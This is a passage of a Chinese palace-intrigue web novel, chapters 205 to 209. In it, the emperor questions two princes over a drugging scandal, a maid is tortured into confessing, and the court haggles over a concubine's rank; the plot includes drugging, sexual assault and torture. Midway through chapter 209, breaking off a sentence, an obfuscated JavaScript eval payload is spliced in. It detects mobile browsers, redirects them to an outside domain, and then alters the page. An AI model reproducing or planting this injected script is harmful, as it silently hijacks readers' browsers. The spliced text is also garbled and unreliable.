说着他转向辉帝,大声道:“父皇,都是儿子愚蠢,这才遭了别人的算计!可是您一定要相信儿子,儿子并非那等见色忘义之人!都是有人故意污损儿子名声,如今想连累父皇威名受损,儿子实在有愧!” 辉帝冷冷道:“你当然蠢!你犯下大错不知悔改,若是被自己人看到也就罢了,偏要当着两国使者的面丢人现眼,你叫朕的脸往哪里摆?还有脸到朕面前哭!你与那女子赤身裸体搂在一处,成王费了好大的力气才将你从高若馨身上扯下来,你还与他动手,当朕真的不知情吗?” 辉帝此言一出,成王和礼王的脸色均是一变。 没想到昨夜发生的事,父皇竟然了如指掌,校事府的力量果真不容小觑! “还有你!” 辉帝转头朝成王斥道:“皇兄犯了错,你不思为他保存名声反倒将人扣在府里!若是你昨夜便进宫来向朕回报,这件事绝不会传得满城风雨!到时朕再派人对两国使臣加以抚慰,这种丑事就算瞒下了。可你只顾着将犯了错的兄长拘着,却不派人去善后;如今礼王与高家女的风流韵事已成为街头巷尾的谈资,我商氏皇族的脸面,是如何也收拾不起来了!” 成王闻言忙道:“父皇恕罪!场面太过难看,看到若馨被蹂躏成那个样子,儿臣一时激愤,皇兄又情绪激动,对儿臣喊打喊杀!儿臣不过想将他和若心分开,他便对儿臣拳脚相向!儿臣也是实在没办法,只得先将人圈了起来……” 礼王闻言暴跳如雷:“你还敢说!你瞧瞧本王这眼、这脸,难道不是你打的?你为了一个贱女人,竟敢对皇兄拳脚相向,你心中可还有半点手足之情?” 成王皱着眉道:“想来是王兄昨夜喝多了酒犯糊涂。本王进入房间之时,你的脸就是那副模样,如何说是本王将你打伤?倒是皇兄酒醉之下,对我挥拳相向——您瞧瞧我这下巴都淤青了,全拜皇兄所赐。” “你还敢恶人先告状?!明明就是你打了我!你竟下这般狠手,我定不与你善罢甘休!” “可笑!明明是你先打我,我不过是想拉开你,你回手就给了我一拳,还抽出侍卫们的佩剑说要砍死我,我不过是自保而已!” …… 见二人旁若无人地争吵起来,辉帝心头愈加烦躁,不由大吼一声:“住口,还嫌丢人丢的不够吗?” 他狠狠拍着桌子:“你们二人好歹是手足兄弟,一个犯错不知悔改,一个逮住错处不放,竟当着外国使臣和臣子们的面互殴起来!就凭你们这样的德行,也配觊觎太子之位?” 辉帝说着越说越气,愤愤道:“也不知朕究竟造了什么孽——朕膝下皇子不多,唯你们两个成了年的,你们给兄弟们做的是什么表率?!为了个女子便拳脚相向,若是日后为了皇权,你们岂非要挥刀对砍?” 说着,他将手中的杯盏狠狠掷于地面,破碎声惊得殿中宫人个个心惊胆战。 “朕没有你们这样的儿子!来人,把他们给朕打出去!” 施淳见情况不对,忙上前一步低声劝慰:“陛下息怒。昨日之事尚未问清,如今陛下若此时将人撵出去,只怕更难问清实情了。” 陆贵嫔也劝道:“陛下莫气,长公主和丞相还在这儿呢,您千万别为了孩子们的事儿气坏了身子。” 第二百零五章 求父皇为我做主 陆贵嫔说着朝儿子使了个眼色,这才一脸愤怒的道:“还不快给你父皇赔罪!” 礼王心有不甘,但看到母亲的神情便也知此事干系重大,只得暂时按下心头怒火,朝着辉帝拜了下去:“父皇恕罪,儿子不过一时激愤,还请父皇莫要生气。” 成王远比礼王更加冷静,不多时便按捺下心绪,朝皇帝拜道:“都是儿子的错,还请父皇息怒。” 辉帝哼了一声,这才冷冷的开了口:“昨日谲儿走得早,在场的只有你们两人,礼王还是当事人之一。你们现在就跟我说清楚,昨日那桩丑事究竟是怎么发生的?” 礼王闻言忙跪爬几步,抢先道:“父皇容禀——儿子反复思量,才发现竟是着了人家的道——昨日长公主宴请两国使臣,儿臣得到消息后便快马加鞭赶往芙蓉楼,谁知半路上竟被一辆马车冲撞,细问之下才得知是相府的高小姐。看在高相的面上,儿臣不欲纠她冲撞皇室之罪,本想派人将她送回相府,谁料那高若馨竟非要与儿臣一同前往芙蓉楼!” “儿臣贵为皇子,怎可与她同行?!再说似这等国事之宴,也断没有让个女子参与的道理!可高若馨竟以高相之要挟儿臣,又哭诉自己与成王的兄妹之情,儿子一时心软,这才让她上了车……” 辉帝愤愤道:“朕竟不知你何时变得如此好说话了——她一个小女子,先是唬了你两句、又撒泼撒痴一番,堂堂礼王、怎地就挺不住了?” 礼王忙道:“毕竟是高相的孙女,儿臣也不好直接赶她回去;而且她说只是想往宴前开开眼界,儿子当时觉得无甚不妥,这才带她去了……谁知此人竟心怀鬼胎!” 商煦鹏心头一阵阵发寒—— 昨夜他被成王囚在暗室之内,待药性退去,他才惊觉刚刚的情势有多危险! 高子霖和成王一直想将他拖下水踩死。 父皇最重皇子德行,此番他们用自家女儿的清白为他扣上顶 “荒淫不仁”的帽子,高子霖在朝中势力庞大,他只需稍加鼓吹,自己便要陷入万劫不复之地了! 商煦鹏在焦虑中辗转难眠,直到天色将明之际,在隆隆雷声的掩盖下,一个纸团被从窗户丢了进来。 待看清上头的一行小字,他这才茅塞顿开…… 当着父皇的面,他无论如何也不能让高家人坐实他 “好色忘义” 的名声,却也不敢将秘药 “方生如意”之事说出。 他瞥了眼在旁托腮冷笑的商无忧—— 谲儿性子决绝、行事不留余地,若知道是自己将药给了高若馨去害宁国公,只怕立刻便要与自己翻脸。 此时他已是岌岌可危,再经不起任何人落井下石了! 谲儿好歹与他有幼年之谊,只要她看在先皇后的面子上愿意施以援手,近日他便有机会渡过难关。 思及此处,他忙朝上叩了个头,一脸委屈道:“儿臣实在没想到,高若馨一介世家贵女竟会如此卑鄙龌龊——她偷偷在儿子的酒中下药,又以不胜酒力的名义先行离席;儿子受了那药的影响,只饮了几杯便分不清东南西北,往楼上去歇息之时她便趁势前来勾引……” 想到昨日内室中之事,他仍有些难以抑制的冲动。 待抬眼看到皇帝冰冷的目光,这才颤巍巍咽下心头杂念。他俯身狠狠叩了个头,借此压下眼中异样,高声道:“儿子那时中了药,一时神志不清,与高氏女行苟且之事并非出自儿臣本意。儿子是被人陷害的,求父皇为我做主!” 高子霖满心不屑——礼王也不看看自己是个什么货色?! 高家的女儿何等尊贵,怎会看得上一个低位嫔妃所出、无才无德之人?! 他的外孙便是皇子,若真想攀附皇权,大可将心儿嫁给成王,犯得上用药去迷惑这么个不成器的东西?! 只可惜此等话无法说出口。 高炯却不管不顾抬起头,红着脸怒吼道:“成王殿下这话好没道理!馨儿她一向心高,论文,您不是绝世才子,论武,也不是征战沙场的猛将,馨儿从未与殿下有任何交集,为何要对您下药?” 面对高炯轻蔑眼神,礼王冷冷撇了撇嘴:“高若馨不过是个淫贱货色!她当初便与张子昂在太液池畔行无耻之事,此事合宫皆知!张子昂号称京都鬼见愁,文不成武不就、是个纨绔浪荡子!高若馨本性轻浮,若以此推论、她对本王下药、主动勾引之事便无可厚非了!” 高炯鼻子险些气歪,梗着脖子道:“太液池那事不过是……不过是……” “嘻嘻!” 商无忧拖着腮轻笑出声,高炯猛然惊醒——当日太液池边女儿和张子昂设计陷害长公主,却差点被人家反杀,如今当着长公主这疯婆子的面,若非要说此事是讹传,只怕会惹得这疯子立刻暴起! 想到这疯女人的残暴手段,他忙不迭住了嘴,悻悻道:“那事不过是个误会,怎能以此论断我女儿品性?” 说着略显焦急的朝一旁的商廷煜道:“成王殿下,您说句公道话!” 成王向上拱了拱手:“父王容禀,席间儿臣并未见到若心朝礼王敬酒。且当时若馨因得罪了长公主,被罚跪于一旁,她如何能对皇兄下药呢?” “哦?那高若馨恁的大胆,竟还敢得罪朕的长公主?” 见皇帝狐疑的目光投向自己,商无忧这才拖腮冷笑道:“高若馨仗着出身高贵,便敢藐视皇族!她与儿臣针锋相对也不是一次两次了。往日里儿臣顾及着她只是个小姑娘,不愿和她计较;谁料昨日她竟当着两国使臣的面对本宫不敬!若再不小惩大诫,我商氏皇族的威严何在?!” “好歹是相府之女,儿臣没重罚——不过让她捧着酒到一旁跪上一跪,不碍事的!” 高子霖闻言便道:“按长公主所说,若馨便没有机会对礼王下药了。” 商无忧却起身往后一靠,口中轻慢道:“那可不一定——本宫离席时,她还在那好好跪着;可她目无尊上,本宫走后,她必是立马就起身看,说不定还要赖在大皇兄和二皇兄身边饮酒吃肉的扮柔弱呢!” 说着朝成王望了一眼,勾着唇不屑道:“二皇兄,本宫说的没错吧?!” 第二百零六章 说实话 成王看了商无忧一眼,这才轻声道:“说到底她也不过是个十几岁的丫头,小惩大诫也就罢了。长公主已罚她在宴席上跪了一个时辰,难道还不够吗?” 商无忧闻言呵呵笑道:“父皇您瞧瞧,儿臣说的没错吧?在高氏一族眼中我商氏皇族果然无半分威严!儿臣觉得大皇兄说的话甚为有理,皇兄他说不定真是被人陷害的!” 一听商无忧为他说话,礼王顿时来了精神,梗着脖子大声道:“昨日情形虽慌乱,但想必儿臣与高若馨所用的一应酒具仍在,请父皇速速派人去查,定能查得到高氏女下毒的蛛丝马迹!” 商无忧打了个哈欠,无聊地瞥了他一眼,轻声道:“难得大皇兄如此惦记着,但若等到父皇今日早晨再派人去搜,黄花菜早都凉了——酒楼里的一应器具早已被人封查完毕,只等父皇派人查验呢!” 高子霖闻言心头一凛。 若馨昨日并未提起下毒之事,倒是那侍女柳儿,在遭毒打后竟说出高若馨竟想对成王和宁国公下药一事。 奈何他昨夜只顾着清理自家门户,待到柳儿说出真相才惊觉应派人去销毁罪证;只可惜高升到后只看到满地杯盘狼藉,此事最后也只得做罢。 没想到那沾有毒药的酒杯竟被长公主收了去。 思及此处,他忙朝皇帝拱手道:“世人皆知长公主与臣的孙女素有嫌隙,因此殿下手中的东西不能作为证物。” 商无忧不由轻笑出声,语带讽刺道:“高相是觉得本宫会故意陷害你的好孙女?” 高子霖冷冷道:“老臣只是就事论事,还请长公主莫要挂怀。” 商无忧点了点头:“相爷说的也是。本宫毕竟曾与高若馨刀剑相向,你不信本宫的话倒也情有可原。” 说到此处,她一双碧眸渐渐泛起冷色,朝着高子霖不屑道:“只不过那些酒具并非本宫寻来,而是由南诏使者今日进献的。不知南诏使者是否也与高小姐有仇?他们手中的东西否能当作证物?” 辉帝一愣,“此事怎又牵扯到南诏使者了?” “父皇容禀,”商无忧欠身道,“儿臣昨日退场退得早,奈何昨日之事众人心头都有个疑问。那南诏使者乃是大南诏内算官的儿子,一向心思细腻,他让芙蓉楼的伙计将打碎的杯盏及昨日所用的一应酒具全都收了起来,今早送到了国公府。如今那些东西就在殿外。父皇可叫太医令前来一验,便知结果。” 谲儿果然还是向着自己的! 礼王心头一喜,忙不迭朝皇帝叩首,“请父皇速传太医令,还儿臣清白!” 皇帝点了点头,朝施淳摆手道:“叫邹太医来。” 邹太医乃先皇后身边的御用太医,皇后去后便随侍皇帝左右,深得信任;待听得施淳召唤,这才便从殿外走了进来。 商无忧指着小太监抬进来的两箱酒具道:“这箱小的,是昨日高小姐和成王在芙蓉楼上休息时所有酒具;那一箱大些的,是楼下诸人皆用过杯子。太医可随意验看。” 邹太医对着一应酒具闻了又闻,许久才抬头朝皇帝躬身施礼道:“启禀陛下,这大箱的酒具的气味并无异样;倒是这小箱的酒具里,虽然历时靡久、味道已散了些,但仍依稀可辨一种特殊气味。若微臣看得不错,此药乃是当年蛮族皇室的秘药,名为‘方生如意’,乃是最烈性的催情之药,对身体极为有害。滴入一滴便可起效,臣观这杯中残留之味极重,想来是下了十足的量。” 皇帝神色一肃,“中了人药的人会如何?” 邹太医沉声道:“若有人中了此药,必会精神涣散、欲火鼎盛,不折腾到力竭绝不罢休……” 礼王闻言忙道:“父皇,儿臣昨日清醒恰如太医所说,想来定是中了那‘方生如意’!” 说着他跪爬几步,来到辉帝跟前,抱着他的大腿痛哭出声。 “方才邹太医说此药会伤身,又说下了十足的量,儿子这身子只怕要毁了!求父皇垂怜、严惩那高氏女,为儿臣出口恶气!” 陆贵嫔闻言亦帮腔道:“谁能想到堂堂相府贵女,竟会用如此下作手段害人?煦鹏可是陛下的皇子,被您寄予厚望,若伤了身子以后可怎么得了?” 皇帝微微一哂,朝邹太一道:“你说那小匣中的杯盏都有迷药的味道?” 邹太医点了点头:“陛下说的没错。” “这倒怪了,” 辉帝皱起眉头,责问都按:“若真是高若馨可以谋划次局,只需将药下在礼王的酒杯中便好,为何还要在自己的酒杯中也下上‘方生如意’,如此作为岂非多此一举?” 礼王哭声一滞,抬头看向辉帝,迟疑着道:“莫不是她怕儿臣戒心过重,不肯喝她端上的酒?亦或者她想洗脱自己的嫌疑,这便顺手也在自己的杯中下了此药?” 高子霖忙不迭朝皇帝叩首,“陛下圣明!陛下所想正是老臣欲奏之言。若馨虽任性,到底品性纯良,她绝无胆子对皇子下药,此事定是有人陷害!” 辉帝冷冷瞥了他一眼,这才道:“是不是她下的药,问问她身旁的侍女便知道了。” 说着朝施淳使了个眼色。 施淳点了点头,让手下两个小太监拖着柳儿朝后头走去。 宫内多的是折磨人的手段,片刻后殿外便传来柳儿痛苦的叫喊。又过一刻,几个小内侍这才抬着奄奄一息的柳儿走了进来。 施淳朝皇帝拱手道:“陛下,这丫头愿意说实话,事情已经问清楚了。” 辉帝点了点头:“如此贱奴朕懒得与她废话,你问就好。” 施淳俯身在柳儿耳边道:“将话都说出来吧,若再不说便没机会了。记得咱家跟你说过的话,旁的都是假的,只有自己的命才是真的……” 柳儿泪眼朦胧,脸上满是惊恐,忽的大声哭喊道:“是、是小姐下的药!小姐说、小姐说不愿嫁给张子昂,若想摆脱张家,唯有依靠皇子……只有嫁入皇室,才能不受相爷逼迫……” 第二百零七章 浑水摸鱼 “贱婢竟敢胡乱攀诬!” 高子霖一手指着柳儿的鼻子,厉声责骂道:“这贱婢不过是为了脱罪,竟敢将坑害皇家的帽子扣到自家小姐头上,我看你是活腻了!我女儿堂堂大家闺秀,怎么会做出这样不堪之事?这贱婢一定是受人指使,还请陛下明察!” 高炯也道:“不许你污蔑我的女儿!你与馨儿一同长大,她待你如亲姐妹,当着陛下的面你怎可污她清白?!看在馨儿的面上,你若说出背后指使之人,我便向陛下求情饶你不死;若再继续胡言乱语,我便请陛下下旨诛你的九族!” 柳儿心下大恨。 她是与小姐一同长大,可二人云泥有别,再加上小姐一贯眼高于顶,从不把他们这些下人当人看,她这贴身侍婢的日子其实过的极苦! 小姐因钟情宁国公,屡次与长公主作对;每回事情败露便将罪责都怪在她身上,害得她被夫人和老爷好一顿责打。 上次太掖池边她为了护着小姐被长公主的手下丢下了池子,几乎丢了半条命;而事后夫人也不过给了她几两散碎银子买药,小姐更是态度冰冷的责怪她不机灵、连累的自己名声尽毁! 今日之事她早就觉出不妥,虽百般劝阻奈何小姐就是不听;她本想算计成王,却心志不坚的在半途被礼王蛊惑,竟拿了他给的药去算计宁国公!许是明明中自有天数,到最后中了那方生如意之人竟会是成王!小姐失了清白又丢了名声,还真应了那句 “多行不义必自毙”。 思及此处她坚定的道:“奴婢没说谎,所有事都是小姐吩咐奴婢做的!柳儿不过一介奴仆,只能唯主人之命是从!” 昨夜对自己施以援手之人说过,浑水摸鱼——只有将高家和成王都拉下水,她才有活下来的希望! 思及此处,柳儿咬着牙直起身子,朝皇帝狠狠磕了几个响头,高声道:“陛下容禀!奴婢说的都是实话,小姐那药是从外头得来的,她惦记着宁国宫府的二少爷,不止一次说过非他不嫁。可自从太液池旁那一回,相爷便禁了小姐的足,老爷和夫人又逼得紧,非要让小姐嫁给那张子昂。那张子昂品行不端,又被长公主打断了腿,小姐听后更加厌烦。偏外头风言风语不断,夫人便向丞相大人敲定了这门亲事。” “前些日子夫人告诉小姐,说婚事即将商定,不出一月张家便要来提亲。小姐当时便慌了神,她苦思冥想几日,竟派人从外头买来一种秘药。” “小姐说相爷心志坚定,只凭她一人反对断断无法推掉与张家的婚事,唯有想方设法寻一身份高贵之人,狠狠压制住高家,她才能摆脱张子昂。” 皇帝闻言冷声道:“她与成王是表兄妹,又有自幼的情意在,若她真不想嫁给张子昂,为什么不去寻成王,倒将药下载礼王的酒杯里?” 柳儿跪伏道:“小姐是想去寻成王殿下的——小姐使人打探到两位王子殿下都要去芙蓉楼赴宴,便带着奴婢换了寻常衣物,又换了辆不起眼的马车,急匆匆赶出门;谁承想竟在半道撞上了礼王的车架,小姐知道成王和以礼王一向不和,若能被礼王瞧见她与成王殿下……礼王必会抓住机会将此事到处传扬,届时木已成舟,相爷便是再不愿也得退了与张家的亲事!” 高子霖一双老眼微眯,其中射出寒光,冷声道:“再敢胡说,小心你的狗命!” 商无忧淡淡道:“难为这丫头受了这样重的伤,还能将事情说的如此清晰,本宫实在看不出半丝污蔑的痕迹!” 高子霖冷冷道:“这贱婢是臣的家仆,一贯是个不老实的,若馨做的许多错事多半都是她怂恿的。若非老臣心慈早一棍子将她打死了,没想到臣一时的仁慈竟养出了背主忘恩祸患来!” 眼中的泪落不甘的滑落,脸上的伤口被刺得丝丝作疼。柳儿猛地抬起头,悲愤地朝高子霖道:“那药是小姐自己亲自下的,奴婢可是什么都没做!小姐冲撞了礼王的车架后被带上了礼王的车,也不知礼王对她说了什么,她竟与之甚为亲密,甚至还唤他为大表兄……” 成王不敢置信地看着颤抖的柳儿——没想到欣儿竟将主意打到了自己头上! 他的正妃之位是要留着笼络朝中权臣的,若欣儿的计策成真,母亲只怕要气死了。 高子霖正要开口,却听皇帝冷声道:“你继续说,只要你说了实话,朕便饶你不死。” 柳儿又朝上叩头道:“小姐与礼王一同去了芙蓉楼,谁料却撞上了长公主,她与长公主针锋相对,却被长公主惩罚跪了一个时辰;小姐心有不甘,起身时便朝奴婢要了那药;只是她心中并不喜欢成王殿下,因此偷偷在自己的酒中滴了滴‘方生如意’,便装作酒醉离席……” “你怎么知道本王一定会上楼?”? 柳儿忙道:“是小姐告诉奴婢的,她吩咐奴婢待小姐饮下药后,便下楼禀报成王,说小姐身子不适,请成王殿下去楼上探望。成王与小姐兄妹情深,是无论如何都会去的。到时奴婢为殿下奉上掺了方生如意的酒水……” ?成王不有勃然大怒,“好个贱婢,竟敢如此算计本王!” 柳儿既惊且俱,忙不迭道:“王爷饶命,不关奴婢的事,此事都是小姐吩咐的……” 辉帝不耐的摆了摆手:“既然高若心本意是冲着成王去的,为何最后中了药的人又变成了礼王?” 那人说过,只有将水搅浑,她才有机会活命。 柳儿咬了咬牙,抬头朝皇帝直直道:“小姐饮下酒后奴婢便想下楼去请成王殿下,谁料礼王竟紧跟着咱们身后进了小姐的卧房,他说是他带小姐来芙蓉楼的,若是小姐有什么不妥,他没法向相爷交待!” 柳儿害怕的吞了口口水,喃喃道:“奴婢也觉得礼王太过殷勤,所言所行皆于规矩不合,可奴婢人微言轻,实在不敢阻拦礼王,只得任由他进了小姐的房间……” 第二百零八章 自作自受 “礼王殿下不顾奴婢的阻拦,强行进入了小姐的房间,还借口要与小姐说话为由想将奴婢赶出去;彼时小姐已渐渐神志不清,奴婢如何敢离开她身侧?礼王丝毫不将奴婢放在眼里,当即便对小姐动起手脚来!” “奴婢见状便知不妙,本想下楼寻人,却想却被礼王喝住——礼王说他与成王是亲兄弟,既如此小姐也算得上是他的表妹,表兄与表妹举止自是要比旁人亲密些,要不然小姐与那张子昂怎会在宫中就……” 柳儿喘了口气,继续道:“礼王一边说、一边从一旁取过酒水,非要逼小姐一同喝什么交杯酒!可那酒是为成王准备的,里头早就下好了‘方生如意’……奴婢眼睁睁看着礼王将酒喝下,不多时药性便发作了。奴婢本想将礼王赶出门外,谁料……” 柳儿说着面色渐红,声音忽的低了下去。 “奴婢拼了命也没能拦住礼王,礼王殿下将奴婢丢出了门外,奴婢听到里头小姐的叫声,却怎么也撞不开门;奴婢在楼上嘶声力竭的喊了半晌却无人来救,后来奴婢才知道,礼王殿下上楼时便叫身旁的侍卫守住了楼梯口,奴婢情急之下便喊‘楼上有刺客’,楼下的人听见动静忙往楼上冲,那侍卫见拦不住人这才带人上了楼。” “后来的事,陛下都知道了……” 力王面色骤变,厉声喝道:“好个贱婢、竟敢胡言!高若馨淫荡无耻,本王怎会看得上?!本王当时不胜酒力,本是在隔壁休息,随口饮了些戒酒之物;后来听见高若馨房中有动静,因怕出事才想冲进去看看。本宫喝了屋内的茶水后便浑身燥热,进门后又被人打晕了,待清醒过来成王便带人冲了进来!” “明明是你们联手陷害本王,还敢恶人先告状?” 柳儿浑身颤抖,伏在地上不住叩头,眼泪、鼻涕一时混成一滩。 “陛下明鉴,奴婢所言句句属实,还请陛下明察!” 商无忧闻言挑了挑眉,“这丫头的话条理清晰,听她一说、很多事便说得通了——高若馨对二皇兄无意,却想算计皇兄好摆脱与张子昂的婚事,因此便先行在自己酒中下药,再叫侍女将二皇兄叫上楼,趁机灌他喝下掺了药的酒水;大皇兄不知怎地进了高若馨的房间,阴错阳差下抢先喝了被下药的酒,这才有了后头的丑事……” “自作自受!” 商无忧看了一眼面色涨红的高炯,又看了看一脸怒色的礼王,冷冷道:“为摆脱不看重的婚事高若馨不惜陷害自己表兄,却没想到阴错阳差下被人夺取清白;而大皇兄被她美色所惑,无意中饮下了药的酒,丢了我商氏皇族的名声……可悲、可笑!” 陆贵嫔闻言颤声道:“陛下,煦鹏他是被人陷害的,您一定要相信他啊!” 皇帝冷着脸道:“若不是他自己色胆包天,谁能害得了他?他自己德行有亏,半分怨不得人!” 陆贵嫔脸色发白,还想求情,却被皇帝冷声打断:“你一个做母亲的连儿子都教不好,还有脸在朕面前喊冤?” 高炯见状忙向前爬了半步,“陛下,小女着实可怜……” “你也给朕闭嘴!” 皇帝将茶杯掷在他脚前,寒声道:“好啊,你高家一个女儿就算计了朕的两个儿子——她自己不想嫁给张家,还敢拿朕的儿子当挡箭牌!皇子被当做棋子随意摆弄,这事若是传了出去,朕的颜面要往哪里摆?” 皇帝瞥了眼面色紧绷的高子霖,“难不成在丞相眼中,皇室一族竟是尔等手中傀儡?” 高子霖从皇帝语气中听出丝危险的意味。 他伏地叩首道:“臣家教不严!请陛下念在若馨母亲已然过世的份上,从轻发落。” “高家女眷目无尊上,她算计皇子、损我皇家威名,断不可一纵再纵!” “既然你家教不严,朕不如赐她三尺白绫,让她随其母一同去吧!” 高炯闻言浑身瘫软,面无血色地哭求道:“陛下饶命!臣已失了发妻,求陛下看在高氏一族为大辉殚精竭虑的份上饶这孩子一命……” 成王亦心生不忍,忙道:“父皇,虽说若馨算计了儿臣和大皇兄,可她失了清白、也算得到了惩罚,求您看在母亲的份上,饶了她吧!” 陆贵嫔想起于大监的话,显然高若馨活着对儿子更有利,便附和道:“陛下息怒,高小姐好歹是出身名门、又有高相情分在,陛下便是看在丞相的份上,也该给那孩子留条生路。” 众人皆为高若馨求情,唯一旁的商无忧饶有兴趣的把玩着手中茶具,歪头含笑。 皇帝默了默,这才沉声道:“礼王意下如何?” 想起昨日纸条上的话,礼王忙道:“此事说来也有儿臣的不是,若非昨日贪杯豪饮,儿臣断不会中了一个丫头的算计……高氏女虽然可恨,却不该为此事赔上性命,还请父皇从轻发落。” 皇帝见状不由冷笑。 这就是他的妻儿! 他们始终忌惮高相的权势,不敢彻底与高家闹翻,他们怎么就不想想,他们乃是未来的皇储,此时便畏首畏尾,将来这大辉的天下岂不是要易主?! 他转头望向长女,轻声道:“无忧,你以为如何?” 商无忧冷冷勾起唇角:“若依儿臣的意思,定要将她大卸八块!” “儿臣向来瞧不上高氏前倨后恭,要不要这女子的命,全凭父皇定夺。”? 皇帝叹了口气,看向高子林等人:“既然众人都求情,朕便饶她死罪,只是——” 高炯急道:“陛下!臣女儿的清白到底毁在礼王手中,臣的夫人已自尽,您无论如何也该给臣一个说法啊!” 一见父亲垂眸不语,高炯便知父亲默许了自己与皇帝争辩,遂继续道:“高氏一族一向对陛下忠心耿耿——淑妃娘娘于宫中侍奉多年,为陛下管理后宫、养育皇子,可谓劳苦功高;父亲身为宰相,一向夙兴夜寐、为国算事殚精竭虑。馨儿被惯坏了,可她是臣与发妻唯一的女儿,若她有何闪失,臣与父亲只怕活不下去了。” 说罢,他连连叩头,“还请陛下开恩!” 陆贵嫔拿起帕子拭了拭眼角,柔声叹道:“可怜天下父母心——高大人的心情臣妾能体谅,臣妾有一法子,既能显皇室风范、又能安老臣之心,陛下可愿听臣妾一言?” 第二百零九章 侍妾与正妃 “你是朕的贵嫔,位同副后,有话但说无妨!” 得到皇帝的首肯,陆贵嫔这才道:“昨日之事算是我大辉皇室一桩丑闻,尤其是叫北狄和南召的使臣看了笑话;臣妾觉得与其惩罚皇子和贵女、让臣民们和外族议论皇室没规矩,到不如亡羊补牢,将丑事变成一桩美事——既然高小姐与礼王先行了周公之礼,也算是天作之合,陛下倒不如成全了这一对佳偶!” 礼王闻言满脸不屑——他才不稀罕那水性杨花的高若馨! 他都被那贱丫头算计成这了、若还要将她娶做王妃,自己这个礼王为免也做的太窝囊了! 思及此处,商煦鹏忙不迭抬头看向母亲,却恰好撞上陆贵嫔饱含深意的目光。他这才想起自己目前危急的处境,这才才悻悻住了嘴。 陆贵嫔见状继续道:“礼王是皇子,而高小姐则是丞相的嫡孙女,说起来身份倒也配得上;臣妾觉得若外宣称他二人早有婚约,外邦之人便再寻不到我们大辉皇室的错漏了。” 见皇帝沉默不语,陆贵嫔便继续劝道:“臣妾也知此桩婚事并不合适,可陛下在四国内的声誉重于泰山,陛下若依了臣妾这法子,无论是里子还是面子便都保得住!” 若馨已然失了名节,若能成为皇子妃高家女眷的名声便还保得住! 高子霖沉思片刻,这才抬头朝陆贵嫔道:“但不知贵嫔娘娘想给给若馨个什么名分?” 高炯诧异转过头—— 父亲不是说今日要趁势将商煦鹏拉下王位吗?!他对若馨寄予厚望,怎么这么快就答应了婚事?! 他转头看了看一旁的外甥——父亲苦心孤诣要扶廷煜上位,若此时同意让礼王成为乘龙快婿,那日后廷煜该如何自处?! 成王脸色愈发难看,他最担心的事还是发生了! 他这才恨起自己那爱惹祸的表妹来!若没有她昨日的所作所为,高氏一族必会全力支持自己登上太子位! 可若任由礼王成了外祖的孙婿,将来鹿死谁手可就难说了! 念及此处他忙道:“贵嫔所说之事儿臣以为不妥——若馨的母亲因昨日之事羞愤自尽,若大皇兄最后成了高大人的乘龙快婿,岂非叫张氏夫人的魂魄在地下不安?” 高炯深以为然,忙附和道:“成王殿下此言有理,臣也觉得此桩婚事不妥……” 辉帝闻言冷冷道:“听高大人的意思,莫不是朕的儿子配不上你的女儿?” 听着皇帝冰冷的话语,高炯只觉心头一寒,忙不迭道:“臣、臣不是……” 辉帝的目光在高炯和高子霖之间不断逡巡,戏谑道:“朕竟不知高家家主之位已由爱卿继承,看来这相府是由爱卿当家?” 高炯冷汗直流,连忙俯身拜道:“高家之事自有父亲做主,臣不敢僭越……” 陆贵嫔用帕子掩了掩唇,轻声道:“高大人家中出了这样的丑事,夫人又自尽而亡,一时昏头也在所难免,陛下就别怪他了吧……” 辉帝狠狠瞪了高炯一眼,这才朝一旁的高子霖道:“不知高丞相想为你的孙女求个什么名分?” 高子霖垂下眼眸,轻声道:“若馨虽是蒲柳之姿,却有一身才情,在京中女眷中颇负盛名;只是她此番铸下大错,臣不敢奢求正妃之位,只求她日后能替礼王殿下在陛下跟前尽孝,老臣便知足了……” 辉帝闻言冷笑——这老狐狸,明里说什么不在意位份,实则是想让他孙女做皇子正妃! 区区一介侧妃、是断不能入宫侍奉皇帝和贵嫔的! 陆贵嫔亦听出他出话中之意,这便皱着眉道:“昨夜的事闹得沸沸扬扬,若与高氏以正妃之位臣妾以为实在不妥,不如先以侍妾的身份跟在礼王身边,待日后她生下子嗣后再升擢升,陛下以为如何?” 成王心下大急——听父皇的意思,竟是要与祖父竟敲定若馨与大皇兄的婚事了! 那自己往后还有什么前程可言?! 他急忙去偷瞄惠帝,却见他神情冷漠、眼神亦晦暗不明,便猜到父皇对这桩婚事亦不满——谁愿意娶个水德行有亏的女子做儿媳?! 可将若馨赐给皇兄确实是解决昨日丑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876846|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻的最佳办法! 他挡不住两家结亲,可也绝不能让礼王与高氏一族和睦相处! 思罢他上前一步,朝皇帝道:“既然贵嫔娘娘有心与外祖结亲,本王也乐见其,可毕竟事涉皇族声誉,儿臣也觉得若馨表妹的位份实在不宜过高,不如就依贵嫔所言,先赏她个侍妾做,待日后她与贵嫔学会了规矩,再升位份不迟……” 高炯闻言心头一急,“成王殿下,心儿好歹是你的表妹,你们从小一起长大,情谊非比寻常。如今她要做那无名无分的侍妾,您不思劝阻陛下,反倒顺水推舟,究竟是什么意思?” 高子霖闻言垂下眼眸,“成王自然是一番美意——为父早就说过,君命不可违,便是陛下下旨要我高氏全族赴死,为父也必定欣然前往。如今不过是家中女儿做大皇子那无名无分的侍妾,这可是多少人求都求不来的恩典,你说话岂非有意陷陛下于不义?” 高炯一愣,“儿子并无此意啊!” 陆贵嫔自是听出高子霖语气中的不悦,可她不愿在高若馨的位份上让步——高若馨出身高贵,又有高淑妃做靠山,若给她的名分过高,恐怕将来压不住!况且高氏一族势力深广,为儿子的储君之位计,此番无论如何也要拿捏住高若馨和她背后的高氏一族! 思及此处她咬定牙关,柔柔道:“成王殿下所言有理,高小姐只能做煦鹏的侍妾。陛下已免其死罪,若再予高位,只怕外人要议论皇室是非不分。” 皇帝这才点了点头,“爱妃所言有理。” 